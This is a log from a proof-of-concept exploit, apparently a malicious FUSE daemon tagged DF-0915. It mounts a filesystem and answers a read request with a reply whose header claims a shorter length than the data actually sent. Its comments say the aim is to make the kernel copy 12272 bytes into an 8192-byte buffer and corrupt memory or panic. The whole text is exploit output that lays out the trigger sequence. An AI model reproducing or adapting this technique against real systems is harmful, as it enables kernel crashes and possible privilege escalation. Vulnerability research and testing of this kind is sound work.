[daemon 1073] opened /dev/fuse fd=4
[daemon 1073] I/O loop started on fd 4
[daemon 1074] child: mount(fuse, /mnt/fuse, fd=4)
[daemon 1073] REQ opcode=26 unique=0 nodeid=1 len=56
[daemon 1073] reply unique=0 opcode-reply error=0 payload=64 actual_write=80 claimed_ohd->len=80 
[daemon 1073] REQ opcode=17 unique=1 nodeid=1 len=40
[daemon 1073] reply unique=1 opcode-reply error=0 payload=80 actual_write=96 claimed_ohd->len=96 
[daemon 1074] child: mount succeeded; opening /mnt/fuse/pwned
[daemon 1073] REQ opcode=3 unique=2 nodeid=1 len=56
[daemon 1073] reply unique=2 opcode-reply error=0 payload=104 actual_write=120 claimed_ohd->len=120 
[daemon 1073] REQ opcode=1 unique=3 nodeid=1 len=46
[daemon 1073] reply unique=3 opcode-reply error=0 payload=128 actual_write=144 claimed_ohd->len=144 
[daemon 1073] REQ opcode=3 unique=4 nodeid=2 len=56
[daemon 1073] reply unique=4 opcode-reply error=0 payload=104 actual_write=120 claimed_ohd->len=120 
[daemon 1073] REQ opcode=14 unique=5 nodeid=2 len=48
[daemon 1073] reply unique=5 opcode-reply error=0 payload=16 actual_write=32 claimed_ohd->len=32 
[daemon 1074] child: opened; issuing read() -> triggers FUSE_READ -> overflow
[daemon 1073] REQ opcode=15 unique=6 nodeid=2 len=80
[daemon 1073]   FUSE_READ fh=1 offset=0 size=8192 -> replying 12288 actual bytes claiming ohd->len=4112 (DF-0915: consumer will memcpy 12272 B into 8192 B bp)
[daemon 1073] reply unique=6 opcode-reply error=0 payload=12272 actual_write=12288 claimed_ohd->len=4112 <<<<< DF-0915 TRIGGER (ohd->len LIED, audit sees this, consumer sees actual)
[daemon 1073]   >>> malicious READ reply sent; kernel memcpy will overflow bp->b_data by 8176 bytes. Expect panic/corruption. <<<<
[daemon 1074] child: read returned 4096 (errno=File exists); if we got here, kernel may already be corrupted
[daemon 1073] REQ opcode=20 unique=7 nodeid=2 len=56
[daemon 1073]   unhandled opcode 20 -> ENOSYS
[daemon 1073] reply unique=7 opcode-reply error=-78 payload=0 actual_write=16 claimed_ohd->len=16 
[daemon 1073] REQ opcode=18 unique=8 nodeid=2 len=64
[daemon 1073]   unhandled opcode 18 -> ENOSYS
[daemon 1073] reply unique=8 opcode-reply error=-78 payload=0 actual_write=16 claimed_ohd->len=16 
[daemon 1074] child exiting rc=0